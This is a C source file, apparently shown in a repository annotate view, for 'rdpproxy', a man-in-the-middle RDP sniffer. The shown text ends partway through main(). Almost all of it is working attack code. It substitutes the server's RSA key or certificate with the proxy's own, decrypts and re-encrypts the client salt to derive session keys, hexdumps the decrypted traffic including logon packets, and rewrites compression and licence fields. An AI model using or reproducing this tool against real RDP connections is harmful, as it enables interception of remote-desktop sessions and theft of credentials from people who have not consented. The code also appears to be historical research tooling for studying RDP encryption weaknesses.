1 |
forsberg |
429 |
/* -*- c-basic-offset: 8 -*- |
2 |
|
|
* rdpproxy: Man-in-the-middle RDP sniffer |
3 |
|
|
* Matt Chapman <matthewc@cse.unsw.edu.au> |
4 |
|
|
*/ |
5 |
|
|
|
6 |
|
|
#define _GNU_SOURCE |
7 |
|
|
#include <stdio.h> /* perror */ |
8 |
|
|
#include <string.h> |
9 |
|
|
#include <unistd.h> /* select read write close */ |
10 |
|
|
#include <fcntl.h> /* open */ |
11 |
|
|
#include <sys/socket.h> /* socket bind listen accept connect */ |
12 |
|
|
#include <netinet/in.h> /* htons htonl */ |
13 |
|
|
#include <netinet/tcp.h> /* SOL_TCP TCP_NODELAY */ |
14 |
|
|
#include <arpa/inet.h> /* inet_addr */ |
15 |
|
|
#include <netdb.h> /* gethostbyname */ |
16 |
|
|
|
17 |
|
|
#include <openssl/x509v3.h> |
18 |
|
|
#include "../rdesktop/rdesktop.h" |
19 |
|
|
|
20 |
|
|
#if LINUX_NETFILTER |
21 |
|
|
#include <linux/netfilter_ipv4.h> |
22 |
|
|
#endif |
23 |
|
|
|
24 |
|
|
#define CLIENT 0 |
25 |
|
|
#define SERVER 1 |
26 |
|
|
|
27 |
|
|
#define TCP_PORT_RDP 3389 |
28 |
|
|
#define SEC_ENCRYPT 0x0008 |
29 |
|
|
#define SEC_RANDOM_SIZE 32 |
30 |
|
|
#define SEC_MODULUS_SIZE 64 |
31 |
|
|
#define SEC_EXPONENT_SIZE 4 |
32 |
|
|
|
33 |
|
|
#ifdef USE_X509 |
34 |
|
|
#define CA_CERT_FILE "cacert.der" |
35 |
|
|
#define CERT_FILE "cert.der" |
36 |
|
|
#define PRIV_KEY_FILE "privkey.der" |
37 |
|
|
#else |
38 |
|
|
#define PRIV_KEY_FILE "tsprivkey.der" |
39 |
|
|
#endif |
40 |
|
|
|
41 |
|
|
static const unsigned char conn_response_hdr[] = { 0x02, 0xf0, 0x80, 0x7f, 0x66 }; |
42 |
|
|
#ifdef USE_X509 |
43 |
|
|
static const unsigned char cert_hdr[] = { 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00 }; |
44 |
|
|
static const unsigned char cert_hdr2[] = { 0x02, 0x00, 0x00, 0x80, 0x02, 0x00, 0x00, 0x00 }; |
45 |
|
|
|
46 |
|
|
static const unsigned char server_key_hdr[] = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x04, 0x05, 0x00, 0x03, 0x4b, 0x00 }; /* OID and ASN1 header */ |
47 |
|
|
static const unsigned char server_salt_hdr[] = |
48 |
|
|
{ SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0x69, 0x05, 0x00, 0x00 }; |
49 |
|
|
/* ^^^ seems to be 0x1e instead of 0x10 in "my" version of the protocol". It's some kind of length. */ |
50 |
|
|
static const unsigned char licence_blob_hdr[] = { 0x00, 0x00, 0x48, 0x00 }; /* not very precise, but hey */ |
51 |
|
|
#else |
52 |
|
|
static const unsigned char server_key_hdr[] = { 'R', 'S', 'A', '1' }; |
53 |
|
|
static const unsigned char server_salt_hdr[] = |
54 |
|
|
{ SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00 }; |
55 |
|
|
#endif |
56 |
|
|
|
57 |
|
|
static const unsigned char crypt_type_hdr[] = { 0x02, 0xc0, 0x0c, 0x00 }; |
58 |
|
|
static const unsigned char client_salt_hdr[] = |
59 |
|
|
{ 0x01, 0x00, 0x00, 0x00, SEC_MODULUS_SIZE + 8, 0x00, 0x00, 0x00 }; |
60 |
|
|
|
61 |
|
|
|
62 |
|
|
static unsigned char server_salt[SEC_RANDOM_SIZE]; |
63 |
|
|
static RSA *server_key; |
64 |
|
|
static RSA *proxy_key; |
65 |
|
|
|
66 |
|
|
static int server_key_subst_done; |
67 |
|
|
static int client_key_subst_done; |
68 |
|
|
static int compression_substs_done; |
69 |
|
|
static int faked_packet; |
70 |
|
|
|
71 |
|
|
void sec_decrypt(uint8 * data, int length); |
72 |
|
|
void sec_encrypt(uint8 * data, int length); |
73 |
|
|
|
74 |
|
|
/* produce a hex dump */ |
75 |
|
|
void |
76 |
forsberg |
511 |
hexdump(unsigned char *p, int len) |
77 |
forsberg |
429 |
{ |
78 |
|
|
unsigned char *line = p; |
79 |
|
|
unsigned int thisline, offset = 0; |
80 |
|
|
int i; |
81 |
|
|
|
82 |
|
|
if (faked_packet) |
83 |
|
|
{ |
84 |
|
|
printf("#0, #0 from Server, type TPKT, l: %d, faked\n", len); |
85 |
|
|
faked_packet = 0; |
86 |
|
|
} |
87 |
|
|
|
88 |
|
|
while (offset < len) |
89 |
|
|
{ |
90 |
|
|
printf("%04x ", offset); |
91 |
|
|
thisline = len - offset; |
92 |
|
|
if (thisline > 16) |
93 |
|
|
thisline = 16; |
94 |
|
|
|
95 |
|
|
for (i = 0; i < thisline; i++) |
96 |
|
|
printf("%02x ", line[i]); |
97 |
|
|
|
98 |
|
|
for (; i < 16; i++) |
99 |
|
|
printf(" "); |
100 |
|
|
|
101 |
|
|
for (i = 0; i < thisline; i++) |
102 |
|
|
printf("%c", (line[i] >= 0x20 && line[i] < 0x7f) ? line[i] : '.'); |
103 |
|
|
|
104 |
|
|
printf("\n"); |
105 |
|
|
offset += thisline; |
106 |
|
|
line += thisline; |
107 |
|
|
} |
108 |
|
|
fflush(stdout); |
109 |
|
|
} |
110 |
|
|
|
111 |
|
|
/* reverse an array in situ */ |
112 |
|
|
static void |
113 |
|
|
reverse(unsigned char *p, unsigned int len) |
114 |
|
|
{ |
115 |
|
|
char temp; |
116 |
|
|
int i, j; |
117 |
|
|
|
118 |
|
|
for (i = 0, j = len - 1; i < j; i++, j--) |
119 |
|
|
{ |
120 |
|
|
temp = p[i]; |
121 |
|
|
p[i] = p[j]; |
122 |
|
|
p[j] = temp; |
123 |
|
|
} |
124 |
|
|
} |
125 |
|
|
|
126 |
|
|
static int |
127 |
|
|
read_file(char *filename, char *buffer, int maxlen) |
128 |
|
|
{ |
129 |
|
|
int fd, len; |
130 |
|
|
|
131 |
|
|
fd = open(filename, O_RDONLY); |
132 |
|
|
if (fd == -1) |
133 |
|
|
{ |
134 |
|
|
perror(filename); |
135 |
|
|
return -1; |
136 |
|
|
} |
137 |
|
|
|
138 |
|
|
len = read(fd, buffer, maxlen); |
139 |
|
|
close(fd); |
140 |
|
|
return len; |
141 |
|
|
} |
142 |
|
|
|
143 |
|
|
static RSA * |
144 |
|
|
make_public_key(unsigned char *modulus, unsigned char *exponent) |
145 |
|
|
{ |
146 |
|
|
BIGNUM *n, *e; |
147 |
|
|
RSA *key; |
148 |
|
|
|
149 |
|
|
n = BN_new(); |
150 |
|
|
reverse(modulus, SEC_MODULUS_SIZE); |
151 |
|
|
BN_bin2bn(modulus, SEC_MODULUS_SIZE, n); |
152 |
|
|
|
153 |
|
|
e = BN_new(); |
154 |
|
|
reverse(exponent, SEC_EXPONENT_SIZE); |
155 |
|
|
BN_bin2bn(exponent, SEC_EXPONENT_SIZE, e); |
156 |
|
|
|
157 |
|
|
key = RSA_new(); |
158 |
|
|
key->n = n; |
159 |
|
|
key->e = e; |
160 |
|
|
return key; |
161 |
|
|
|
162 |
|
|
} |
163 |
|
|
|
164 |
|
|
static void |
165 |
|
|
substitute_client(unsigned char *buffer, unsigned int len) |
166 |
|
|
{ |
167 |
|
|
unsigned char client_salt[SEC_RANDOM_SIZE]; |
168 |
|
|
unsigned char *key; |
169 |
|
|
|
170 |
|
|
if (client_key_subst_done) |
171 |
|
|
{ |
172 |
|
|
return; |
173 |
|
|
} |
174 |
|
|
else |
175 |
|
|
{ |
176 |
|
|
printf("Client key substitution not done..\n"); |
177 |
|
|
} |
178 |
|
|
|
179 |
|
|
/* temporary hack - pretend client asked for RDP4-type encryption */ |
180 |
|
|
if (!server_key_subst_done) |
181 |
|
|
{ |
182 |
|
|
printf("Trying to substitute crypt type..\n"); |
183 |
|
|
key = memmem(buffer, len, crypt_type_hdr, sizeof(crypt_type_hdr)); |
184 |
|
|
if (key == NULL) |
185 |
|
|
return; |
186 |
|
|
|
187 |
|
|
key += sizeof(crypt_type_hdr); |
188 |
|
|
*key = 1; |
189 |
|
|
printf("Substituted crypt type\n"); |
190 |
|
|
return; |
191 |
|
|
} |
192 |
|
|
|
193 |
|
|
/* find client salt */ |
194 |
|
|
key = memmem(buffer, len, client_salt_hdr, sizeof(client_salt_hdr)); |
195 |
|
|
if (key == NULL) |
196 |
|
|
{ |
197 |
|
|
printf("Didn't find client salt\n"); |
198 |
|
|
return; |
199 |
|
|
} |
200 |
|
|
else |
201 |
|
|
{ |
202 |
|
|
printf("Found client salt(!)\n"); |
203 |
|
|
} |
204 |
|
|
|
205 |
|
|
/* reencrypt with server key */ |
206 |
|
|
key += sizeof(client_salt_hdr); |
207 |
|
|
reverse(key, SEC_MODULUS_SIZE); |
208 |
|
|
|
209 |
|
|
printf("RSA_private_decrypt returns %d\n", |
210 |
|
|
RSA_private_decrypt(SEC_MODULUS_SIZE, key, key, |
211 |
|
|
proxy_key, RSA_NO_PADDING)); |
212 |
|
|
|
213 |
|
|
// printf("The 32 bytes before the client salt is:\n"); |
214 |
|
|
// faked_packet = 1; |
215 |
|
|
// hexdump(key, SEC_MODULUS_SIZE-SEC_RANDOM_SIZE); |
216 |
|
|
|
217 |
|
|
memcpy(client_salt, key + SEC_MODULUS_SIZE - SEC_RANDOM_SIZE, SEC_RANDOM_SIZE); |
218 |
|
|
reverse(client_salt, SEC_RANDOM_SIZE); |
219 |
|
|
|
220 |
|
|
RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING); |
221 |
|
|
reverse(key, SEC_MODULUS_SIZE); |
222 |
|
|
|
223 |
|
|
/* generate data encryption keys */ |
224 |
|
|
sec_generate_keys(client_salt, server_salt, 1); |
225 |
|
|
|
226 |
|
|
printf("Substituted client salt\n"); |
227 |
|
|
client_key_subst_done = 1; |
228 |
|
|
} |
229 |
|
|
|
230 |
|
|
#ifdef USE_X509 |
231 |
|
|
static int licence_blob_subst_done; |
232 |
|
|
|
233 |
|
|
static void |
234 |
|
|
substitute_licence(unsigned char *buffer, unsigned int len) |
235 |
|
|
{ |
236 |
|
|
unsigned char *key; |
237 |
|
|
|
238 |
|
|
if (licence_blob_subst_done || !client_key_subst_done) |
239 |
|
|
return; |
240 |
|
|
|
241 |
|
|
key = memmem(buffer, len, licence_blob_hdr, sizeof(licence_blob_hdr)); |
242 |
|
|
if (key == NULL) |
243 |
|
|
return; |
244 |
|
|
|
245 |
|
|
/* reencrypt with server key */ |
246 |
|
|
key += sizeof(licence_blob_hdr); |
247 |
|
|
reverse(key, SEC_MODULUS_SIZE); |
248 |
|
|
RSA_private_decrypt(SEC_MODULUS_SIZE, key, key, proxy_key, RSA_NO_PADDING); |
249 |
|
|
|
250 |
|
|
// hexdump(key, SEC_MODULUS_SIZE); |
251 |
|
|
|
252 |
|
|
RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING); |
253 |
|
|
reverse(key, SEC_MODULUS_SIZE); |
254 |
|
|
|
255 |
|
|
printf("Substituted licence blob\n"); |
256 |
|
|
licence_blob_subst_done = 1; |
257 |
|
|
} |
258 |
|
|
#endif |
259 |
|
|
|
260 |
|
|
static unsigned int |
261 |
|
|
substitute_server(unsigned char *buffer, unsigned int len) |
262 |
|
|
{ |
263 |
|
|
#ifndef USE_X509 |
264 |
|
|
unsigned char server_modulus[SEC_MODULUS_SIZE]; |
265 |
|
|
unsigned char server_exponent[SEC_EXPONENT_SIZE]; |
266 |
|
|
#endif |
267 |
|
|
X509 *x509; |
268 |
|
|
unsigned char *key, *rsakey; |
269 |
|
|
unsigned char *mcslen_p; |
270 |
|
|
unsigned char *userdata_length_p; |
271 |
|
|
unsigned char *rem_length_p; |
272 |
|
|
unsigned char *rsainfolen_p; |
273 |
|
|
unsigned char *cryptinfo_len_p; |
274 |
|
|
uint16 mcslen, userdata_length, rem_length; |
275 |
|
|
uint32 cacert_len, cert_len; |
276 |
|
|
int n, tag, delta; |
277 |
|
|
uint16 length; |
278 |
|
|
uint32 rsainfolen = 0; |
279 |
|
|
|
280 |
|
|
if (server_key_subst_done) |
281 |
|
|
return len; |
282 |
|
|
key = memmem(buffer + 3, len - 3, conn_response_hdr, sizeof(conn_response_hdr)); |
283 |
|
|
|
284 |
|
|
if (NULL == key) |
285 |
|
|
return len; |
286 |
|
|
|
287 |
|
|
printf("Found MCS response packet\n"); |
288 |
|
|
|
289 |
|
|
mcslen_p = key + sizeof(conn_response_hdr) + 1; |
290 |
|
|
mcslen = buf_in_uint16be(mcslen_p); |
291 |
|
|
|
292 |
|
|
key += sizeof(conn_response_hdr) + 4 * 16; |
293 |
|
|
|
294 |
|
|
rem_length_p = key - 2; |
295 |
|
|
userdata_length_p = key - 25; |
296 |
|
|
|
297 |
|
|
tag = *key + (*(key + 1) << 8); |
298 |
|
|
key += 2; |
299 |
|
|
|
300 |
|
|
while (tag != 0x0c02) |
301 |
|
|
{ |
302 |
|
|
length = *key + (*(key + 1) << 8); |
303 |
|
|
printf("Got length %x\n", length); |
304 |
|
|
key += length - 2; |
305 |
|
|
tag = *key + (*(key + 1) << 8); |
306 |
|
|
key += 2; |
307 |
|
|
} |
308 |
|
|
|
309 |
|
|
length = *key + (*(key + 1) << 8); |
310 |
|
|
printf("Got length %d\n", length); |
311 |
|
|
cryptinfo_len_p = key; // Save position of cryptinfo length |
312 |
|
|
key += 2 + 12; // Skip length, Skip RC4 key size, Encr. level, Random salt len, RSA info len. |
313 |
|
|
rsainfolen = buf_in_uint32le(key); |
314 |
|
|
rsainfolen_p = key; // Save position of RSA info len. |
315 |
|
|
key += 4; |
316 |
|
|
printf("RSA info len: %d\n", rsainfolen); |
317 |
|
|
|
318 |
|
|
memcpy(server_salt, key, SEC_RANDOM_SIZE); |
319 |
|
|
|
320 |
|
|
key += SEC_RANDOM_SIZE; |
321 |
|
|
|
322 |
|
|
/* find RSA key structure */ |
323 |
|
|
rsakey = memmem(buffer, len, server_key_hdr, sizeof(server_key_hdr)); |
324 |
|
|
if (key == NULL) |
325 |
|
|
return len; |
326 |
|
|
printf("Found RSA key structure\n"); |
327 |
|
|
|
328 |
|
|
|
329 |
|
|
#ifdef USE_X509 |
330 |
|
|
|
331 |
|
|
/* extract server key */ |
332 |
|
|
/* rsakey += sizeof(server_key_hdr); */ |
333 |
|
|
/* server_key = d2i_RSAPublicKey(NULL, &rsakey, len-(rsakey-buffer)); */ |
334 |
|
|
/* printf("RSA_size(server_key): %d\n", RSA_size(server_key)); */ |
335 |
|
|
/* if (server_key == NULL) */ |
336 |
|
|
/* { */ |
337 |
|
|
/* printf("Error parsing public key\n"); */ |
338 |
|
|
/* return len; */ |
339 |
|
|
/* } */ |
340 |
|
|
|
341 |
|
|
key += 8; |
342 |
|
|
|
343 |
|
|
cacert_len = buf_in_uint32le(key); |
344 |
|
|
cert_len = buf_in_uint32le(key + cacert_len + 4); |
345 |
|
|
rsakey = key + cacert_len + 8; |
346 |
|
|
x509 = d2i_X509(NULL, &rsakey, cert_len); |
347 |
|
|
if (NULL == x509) |
348 |
|
|
{ |
349 |
|
|
printf("Failed to load X509 structure"); |
350 |
|
|
return len; |
351 |
|
|
} |
352 |
|
|
|
353 |
|
|
if (OBJ_obj2nid(x509->cert_info->key->algor->algorithm) == NID_md5WithRSAEncryption) |
354 |
|
|
{ |
355 |
|
|
printf("Re-setting algorithm type to RSA ($#¤?=## Microsoft!)\n"); |
356 |
|
|
x509->cert_info->key->algor->algorithm = OBJ_nid2obj(NID_rsaEncryption); |
357 |
|
|
} |
358 |
|
|
|
359 |
|
|
server_key = (RSA *) X509_get_pubkey(x509)->pkey.ptr; |
360 |
|
|
|
361 |
|
|
/* This is a bit ugly. But who cares? :-) */ |
362 |
|
|
|
363 |
|
|
cacert_len = read_file(CA_CERT_FILE, key + 4, 1024); |
364 |
|
|
*(unsigned long *) key = cacert_len; /* FIXME endianness */ |
365 |
|
|
|
366 |
|
|
key += 4 + cacert_len; // Skip length and newly "written" certificate. |
367 |
|
|
cert_len = read_file(CERT_FILE, key + 4, 1024); |
368 |
|
|
*(unsigned long *) key = cert_len; /* FIXME endianness */ |
369 |
|
|
|
370 |
|
|
printf("CA cert length is %d, cert length is %d\n", cacert_len, cert_len); |
371 |
|
|
|
372 |
|
|
delta = (cacert_len + cert_len + 32) - rsainfolen; |
373 |
|
|
|
374 |
|
|
if (0 < delta) |
375 |
|
|
{ |
376 |
|
|
printf("Compensating RSA info len - should be %d\n", rsainfolen + delta); |
377 |
|
|
buf_out_uint32(rsainfolen_p, rsainfolen + delta); |
378 |
|
|
printf("Compensating Tagged data length - should be %d\n", length + delta); |
379 |
|
|
buf_out_uint16le(cryptinfo_len_p, length + delta); |
380 |
|
|
printf("Compensating MCS data length - should be %d\n", mcslen + delta); |
381 |
|
|
buf_out_uint16be(mcslen_p, mcslen + delta); |
382 |
|
|
printf("Compensating packet length - current value %d, should be %d\n", |
383 |
|
|
len, len + delta); |
384 |
|
|
len += delta; |
385 |
|
|
buf_out_uint16be(buffer + 2, len); |
386 |
|
|
printf("Padding with zeros at end of packet\n"); |
387 |
|
|
memset(buffer + len + delta - 16, 0, 16); |
388 |
|
|
|
389 |
|
|
rem_length = buf_in_uint16be(rem_length_p) & ~0x8000; |
390 |
|
|
buf_out_uint16be(rem_length_p, (rem_length + delta) | 0x8000); |
391 |
|
|
|
392 |
|
|
userdata_length = buf_in_uint16be(userdata_length_p); |
393 |
|
|
buf_out_uint16be(userdata_length_p, userdata_length + delta); |
394 |
|
|
|
395 |
|
|
} |
396 |
|
|
#else |
397 |
|
|
|
398 |
|
|
/* extract server key */ |
399 |
|
|
rsakey += 16; |
400 |
|
|
memcpy(server_exponent, rsakey, SEC_EXPONENT_SIZE); |
401 |
|
|
rsakey += SEC_EXPONENT_SIZE; |
402 |
|
|
memcpy(server_modulus, rsakey, SEC_MODULUS_SIZE); |
403 |
|
|
server_key = make_public_key(server_modulus, server_exponent); |
404 |
|
|
|
405 |
|
|
/* replace */ |
406 |
|
|
BN_bn2bin(proxy_key->n, rsakey); |
407 |
|
|
reverse(rsakey, SEC_MODULUS_SIZE); |
408 |
|
|
#endif |
409 |
|
|
|
410 |
|
|
printf("Substituted server key\n"); |
411 |
|
|
faked_packet = 1; |
412 |
|
|
server_key_subst_done = 1; |
413 |
|
|
|
414 |
|
|
return len; |
415 |
|
|
} |
416 |
|
|
|
417 |
|
|
static void |
418 |
|
|
decrypt(unsigned char *buffer, unsigned int len, void (*fn) (unsigned char *buffer, int length)) |
419 |
|
|
{ |
420 |
|
|
int encrypted = 0; |
421 |
|
|
int skip; |
422 |
|
|
|
423 |
|
|
if (buffer[0] == 3) /* ISO over TCP */ |
424 |
|
|
{ |
425 |
|
|
if (buffer[13] & 0x80) /* 16-bit length in MCS header */ |
426 |
|
|
skip = 15 + 12; |
427 |
|
|
else |
428 |
|
|
skip = 14 + 12; |
429 |
|
|
|
430 |
|
|
if (len > skip) |
431 |
|
|
encrypted = *(unsigned long *) (buffer + skip - 12) & SEC_ENCRYPT; |
432 |
|
|
} |
433 |
|
|
else /* assume RDP5 style packet */ |
434 |
|
|
{ |
435 |
|
|
if (buffer[1] & 0x80) /* 16-bit length */ |
436 |
|
|
skip = 3 + 8; |
437 |
|
|
else |
438 |
|
|
skip = 2 + 8; |
439 |
|
|
|
440 |
|
|
if (len > skip) |
441 |
|
|
encrypted = buffer[0] & 0x80; |
442 |
|
|
} |
443 |
|
|
|
444 |
|
|
if (encrypted) |
445 |
|
|
{ |
446 |
|
|
if (client_key_subst_done) |
447 |
|
|
fn(buffer + skip, len - skip); |
448 |
|
|
else |
449 |
|
|
printf("Can't decrypt, haven't seen client random!\n"); |
450 |
|
|
} |
451 |
|
|
|
452 |
|
|
if (server_key_subst_done) |
453 |
|
|
hexdump(buffer, len); |
454 |
|
|
} |
455 |
|
|
|
456 |
|
|
static void |
457 |
|
|
substitute_compression(unsigned char *buffer, unsigned int len) |
458 |
|
|
{ |
459 |
|
|
uint32 flags, packetflags; |
460 |
|
|
|
461 |
|
|
|
462 |
|
|
if (compression_substs_done) |
463 |
|
|
return; |
464 |
|
|
if (!(buffer[7] & 0x64)) |
465 |
|
|
{ /* Not a MCS SDRQ - actually quite a |
466 |
|
|
useless check since this function isn't |
467 |
|
|
called unless the packet is from the client */ |
468 |
|
|
return; |
469 |
|
|
} |
470 |
|
|
|
471 |
|
|
packetflags = buf_in_uint32le(buffer + 15); |
472 |
|
|
if (!(packetflags & 0x0040)) |
473 |
|
|
return; /* Not a RDP Logon info packet */ |
474 |
|
|
|
475 |
|
|
flags = buf_in_uint32le(buffer + 31); |
476 |
|
|
|
477 |
|
|
printf("Found the RDP Logon packet, flags is %d (%x)\n", flags, flags); |
478 |
|
|
|
479 |
|
|
if (flags & 0x280) |
480 |
|
|
{ |
481 |
|
|
printf("Setting compression flags to zero\n"); |
482 |
|
|
flags &= ~0x280; |
483 |
|
|
|
484 |
|
|
buf_out_uint32(buffer + 31, flags); |
485 |
|
|
|
486 |
|
|
} |
487 |
|
|
printf("Flags is now %d (%x)\n", flags, flags); |
488 |
|
|
|
489 |
|
|
compression_substs_done = 1; |
490 |
|
|
} |
491 |
|
|
|
492 |
|
|
static void |
493 |
|
|
decrypt_client(unsigned char *buffer, unsigned int len, int server) |
494 |
|
|
{ |
495 |
|
|
|
496 |
|
|
int encrypted = 0; |
497 |
|
|
int skip; |
498 |
|
|
unsigned char buffercopy[65536]; |
499 |
|
|
uint8 signature[8]; |
500 |
|
|
|
501 |
|
|
if (buffer[0] == 3) /* ISO over TCP */ |
502 |
|
|
{ |
503 |
|
|
if (buffer[13] & 0x80) /* 16-bit length in MCS header */ |
504 |
|
|
skip = 15 + 12; |
505 |
|
|
else |
506 |
|
|
skip = 14 + 12; |
507 |
|
|
|
508 |
|
|
if (len > skip) |
509 |
|
|
encrypted = *(unsigned long *) (buffer + skip - 12) & SEC_ENCRYPT; |
510 |
|
|
} |
511 |
|
|
else /* assume RDP5 style packet */ |
512 |
|
|
{ |
513 |
|
|
if (buffer[1] & 0x80) /* 16-bit length */ |
514 |
|
|
skip = 3 + 8; |
515 |
|
|
else |
516 |
|
|
skip = 2 + 8; |
517 |
|
|
|
518 |
|
|
if (len > skip) |
519 |
|
|
encrypted = buffer[0] & 0x80; |
520 |
|
|
} |
521 |
|
|
|
522 |
|
|
substitute_client(buffer, len); |
523 |
|
|
|
524 |
|
|
|
525 |
|
|
if (encrypted && client_key_subst_done) |
526 |
|
|
{ |
527 |
|
|
sec_encrypt(buffer + skip, len - skip); |
528 |
|
|
memset(signature, 0, 8); |
529 |
|
|
|
530 |
|
|
/* This is where you can put substitution code */ |
531 |
|
|
|
532 |
|
|
substitute_compression(buffer, len); |
533 |
|
|
|
534 |
|
|
#ifdef USE_X509 |
535 |
|
|
substitute_licence(buffer, len); |
536 |
|
|
#endif |
537 |
|
|
sec_sign_buf(signature, 8, buffer + skip, len - skip); |
538 |
|
|
printf("Signature should be "); |
539 |
|
|
hexdump(signature, 8); |
540 |
|
|
hexdump(buffer, len); |
541 |
|
|
memcpy(buffer + skip - 8, signature, 8); |
542 |
|
|
sec_encrypt2(buffer + skip, len - skip); |
543 |
|
|
} |
544 |
|
|
else |
545 |
|
|
{ |
546 |
|
|
printf("Can't decrypt, haven't seen client random!\n"); |
547 |
|
|
hexdump(buffer, len); |
548 |
|
|
} |
549 |
|
|
|
550 |
|
|
send(server, buffer, len, 0); |
551 |
|
|
|
552 |
|
|
|
553 |
|
|
} |
554 |
|
|
|
555 |
|
|
static int |
556 |
|
|
recv_pdu(int fd, unsigned char *buffer, unsigned int len, int part) |
557 |
|
|
{ |
558 |
|
|
unsigned int pdulen; |
559 |
|
|
int res; |
560 |
|
|
|
561 |
|
|
static int clnt_packetnr; |
562 |
|
|
static int srvr_packetnr; |
563 |
|
|
static int total_packetnr; |
564 |
|
|
|
565 |
|
|
res = recv(fd, buffer, 4, MSG_WAITALL); |
566 |
|
|
if (res <= 0) |
567 |
|
|
return res; |
568 |
|
|
|
569 |
|
|
if (CLIENT == part) |
570 |
|
|
{ |
571 |
|
|
printf("#%d, #%d from Client, ", ++total_packetnr, ++clnt_packetnr); |
572 |
|
|
} |
573 |
|
|
else |
574 |
|
|
{ |
575 |
|
|
printf("#%d, #%d from Server, ", ++total_packetnr, ++srvr_packetnr); |
576 |
|
|
} |
577 |
|
|
|
578 |
|
|
|
579 |
|
|
if (buffer[0] == 3) /* ISO over TCP */ |
580 |
|
|
{ |
581 |
|
|
pdulen = ((unsigned int) buffer[2] << 8) | buffer[3]; |
582 |
|
|
printf("type TPKT, l: %d, ", pdulen); |
583 |
|
|
|
584 |
|
|
} |
585 |
|
|
else /* assume RDP5 style packet */ |
586 |
|
|
{ |
587 |
|
|
pdulen = buffer[1]; |
588 |
|
|
|
589 |
|
|
if (pdulen & 0x80) |
590 |
|
|
pdulen = ((pdulen & 0x7f) << 8) | buffer[2]; |
591 |
|
|
printf("type RDP5, l: %d, ", pdulen); |
592 |
|
|
} |
593 |
|
|
|
594 |
|
|
if (pdulen > len) |
595 |
|
|
{ |
596 |
|
|
fprintf(stderr, "PDU size %d would overflow buffer\n", pdulen); |
597 |
|
|
return 0; |
598 |
|
|
} |
599 |
|
|
|
600 |
|
|
res = recv(fd, buffer + 4, pdulen - 4, MSG_WAITALL); |
601 |
|
|
if (res <= 0) |
602 |
|
|
return res; |
603 |
|
|
|
604 |
|
|
printf("read %d bytes\n", res + 4); |
605 |
|
|
|
606 |
|
|
return (res + 4); |
607 |
|
|
} |
608 |
|
|
|
609 |
|
|
static void |
610 |
|
|
relay(int client, int server) |
611 |
|
|
{ |
612 |
|
|
unsigned char buffer[65536]; |
613 |
|
|
fd_set fds; |
614 |
|
|
int max, len; |
615 |
|
|
|
616 |
|
|
FD_ZERO(&fds); |
617 |
|
|
max = (client > server) ? client : server; |
618 |
|
|
|
619 |
|
|
while (1) |
620 |
|
|
{ |
621 |
|
|
FD_SET(client, &fds); |
622 |
|
|
FD_SET(server, &fds); |
623 |
|
|
|
624 |
|
|
switch (select(max + 1, &fds, NULL, NULL, NULL)) |
625 |
|
|
{ |
626 |
|
|
case -1: |
627 |
|
|
perror("select"); |
628 |
|
|
|
629 |
|
|
case 0: |
630 |
|
|
return; |
631 |
|
|
} |
632 |
|
|
|
633 |
|
|
if (FD_ISSET(client, &fds)) |
634 |
|
|
{ |
635 |
|
|
len = recv_pdu(client, buffer, sizeof(buffer), CLIENT); |
636 |
|
|
switch (len) |
637 |
|
|
{ |
638 |
|
|
case -1: |
639 |
|
|
perror("client recv"); |
640 |
|
|
case 0: |
641 |
|
|
return; |
642 |
|
|
} |
643 |
|
|
|
644 |
|
|
decrypt_client(buffer, len, server); |
645 |
|
|
} |
646 |
|
|
|
647 |
|
|
if (FD_ISSET(server, &fds)) |
648 |
|
|
{ |
649 |
|
|
len = recv_pdu(server, buffer, sizeof(buffer), SERVER); |
650 |
|
|
switch (len) |
651 |
|
|
{ |
652 |
|
|
case -1: |
653 |
|
|
perror("server recv"); |
654 |
|
|
case 0: |
655 |
|
|
return; |
656 |
|
|
} |
657 |
|
|
if (!server_key_subst_done) |
658 |
|
|
{ |
659 |
|
|
hexdump(buffer, len); |
660 |
|
|
} |
661 |
|
|
len = substitute_server(buffer, len); |
662 |
|
|
send(client, buffer, len, 0); |
663 |
|
|
decrypt(buffer, len, sec_decrypt); |
664 |
|
|
} |
665 |
|
|
} |
666 |
|
|
} |
667 |
|
|
|
668 |
|
|
int |
669 |
|
|
main(int argc, char *argv[]) |
670 |
|
|
{ |
671 |
|
|
struct sockaddr_in listener_addr; |
672 |
|
|
struct sockaddr_in server_addr; |
673 |
|
|
struct hostent *nslookup; |
674 |
|
|
int listener, client, server; |
675 |
|
|
unsigned char privkey_buffer[1024]; |
676 |
|
|
unsigned char *privkey = privkey_buffer; |
677 |
|
|
int true = 1; |
678 |
|
|
int n; |
679 |
|
|
|
680 |
|
|
#ifndef LINUX_NETFILTER |
681 |
|
|
if (argc < 2) |
682 |
|
|
{ |
683 |
|
|
printf("Usage: rdpproxy <server ip>\n"); |
684 |
|
|
return 1; |
685 |
|
|
} |
686 |
|
|
#endif |
687 |
|
|
|
688 |
|
|
n = read_file(PRIV_KEY_FILE, privkey_buffer, sizeof(privkey_buffer)); |
689 |
|
|
|
690 |
|
|
|
691 |
|
|
|
692 |
|
|
proxy_key = d2i_RSAPrivateKey(NULL, &privkey, n); |
693 |
|
|
memset(privkey_buffer, 0, sizeof(privkey_buffer)); |
694 |
|
|
if (proxy_key == NULL) |
695 |
|
|
{ |
696 |
|
|
printf("Error loading private key\n"); |
697 |
|
|
return 1; |
698 |
|
|
} |
699 |
|
|
|
700 |
|
|
if ((listener = socket(AF_INET, SOCK_STREAM, 0)) < 0) |
701 |
|
|
{ |
702 |
|
|
perror("socket"); |
703 |
|
|
return 1; |
704 |
|
|
} |
705 |
|
|
|
706 |
|
|
listener_addr.sin_family = AF_INET; |
707 |
|
|
listener_addr.sin_port = htons(TCP_PORT_RDP); |
708 |
|
|
listener_addr.sin_addr.s_addr = htonl(INADDR_ANY); |
709 |
|
|
|
710 |
|
|
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &true, sizeof(true)); |
711 |
|
|
|
712 |
|
|
if (bind(listener, (struct sockaddr *) &listener_addr, sizeof(listener_addr)) < 0) |
713 |
|
|
{ |
714 |
|
|
perror("bind"); |
715 |
|
|
return 1; |
716 |
|
|
} |
717 |
|
|
|
718 |
|
|
